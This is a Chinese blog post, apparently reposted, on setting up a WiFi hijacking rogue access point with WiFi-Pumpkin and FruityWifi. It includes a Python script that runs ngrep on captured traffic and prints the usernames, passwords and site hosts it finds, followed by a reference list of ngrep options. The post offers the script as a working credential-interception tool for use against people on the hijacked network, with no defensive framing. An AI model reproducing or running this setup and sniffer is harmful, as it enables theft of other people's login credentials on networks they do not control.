wifi 劫持安装


sudo dpkg -i wifi-pumpkin-0.8.4-all.deb
apt-get -f -y install

安装失败的化 执行下面这句话 再安装

 

sudo apt-get install gdebi-core
sudo gdebi /path/to/filename.deb

判断网卡驱动

modprobe -nv

//------------------------------------

安装前先升级驱动

apt-get -y update && apt-get -y upgrade && apt-get -y dist-upgrade

把 /etc/network/interface 
添加
nameserver 114.114.114.114
nameserver 114.114.115.115 

重启
apt-get install fruitywifi      
/etc/init.d/fruitywifi start


/usr/share/fruitywifi/conf/resolv.conf
添加 nameserver 114.114.114.114
然后 chattr +i resolv.conf

记住要 才能启动
systemctl stop NetworkManager.service

或者干脆
systemctl disable NetworkManager.service
#!/usr/bin/python3
import os
import subprocess
import sys
import urllib.parse

# print("开始监控域名:%s" % sys.argv[1])
print('-----------------------------------------------')
tmp = os.popen('/etc/init.d/fruitywifi restart')
hi = '''ngrep '(use|name|email|id)'  -q -i  -W byline -d eth0  -l'''

p = subprocess.Popen(hi, shell=True, stdout=subprocess.PIPE)
host = ""
while p.poll() is None:
    outs = p.stdout.readline().decode().split('\n')
    for outstr in outs:
        outstr = outstr.strip()
        if outstr.lower().find('host') > -1:
            host = outstr
        if outstr.lower().find('pass') > -1 and outstr.lower().find('use') > -1 and not host.lower().find('360.cn') > -1:
            outlist = outstr.split('&')
            u = ''
            for i in outlist:
                if i.lower().find('user') > -1 and not i.lower().find('pass') > -1:
                    u = i
                if i.lower().find('pass') > -1 and len(u) > 0:
                    print('用户的信息:' + urllib.parse.unquote(u))
                    print('密码的信息:' + urllib.parse.unquote(i))
                    print('子域名信息:' + host.replace('Host:', '').strip())
                    print('-----------------------------------------------')
ngrep 参数

-e :显示空数据包 
-i :忽略大小写 
-v :反转匹配 
-R :dont do privilege revocation logic 
-x :以16进制格式显示 
-X :以16进制格式匹配 
-w :整字匹配 
-p :不使用混杂模式 
-l :实时输出
-D :replay pcap_dumps with their recorded time intervals 
-t :在每个匹配的包之前显示时间戳 
-T :显示上一个匹配的数据包之间的时间间隔 
-M :仅进行单行匹配 
-I :从文件中读取数据进行匹配 
-O :将匹配的数据保存到文件 
-n :仅捕获指定数目的数据包进行查看 
-A :匹配到数据包后dump随后的指定数目的数据包 
-s :set the bpf caplen 
-S :set the limitlen on matched packets 
-W :设置显示格式byline将解析包中的换行符 
-c :强制显示列的宽度 
-P :set the non-printable display char to what is specified 
-F :使用文件中定义的bpf(Berkeley Packet Filter) 
-N :显示由IANA定义的子协议号 
-d :使用哪个网卡,可以用-L选项查询 
-L :查询网卡接口

 

转载于:https://my.oschina.net/9199771/blog/893617

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值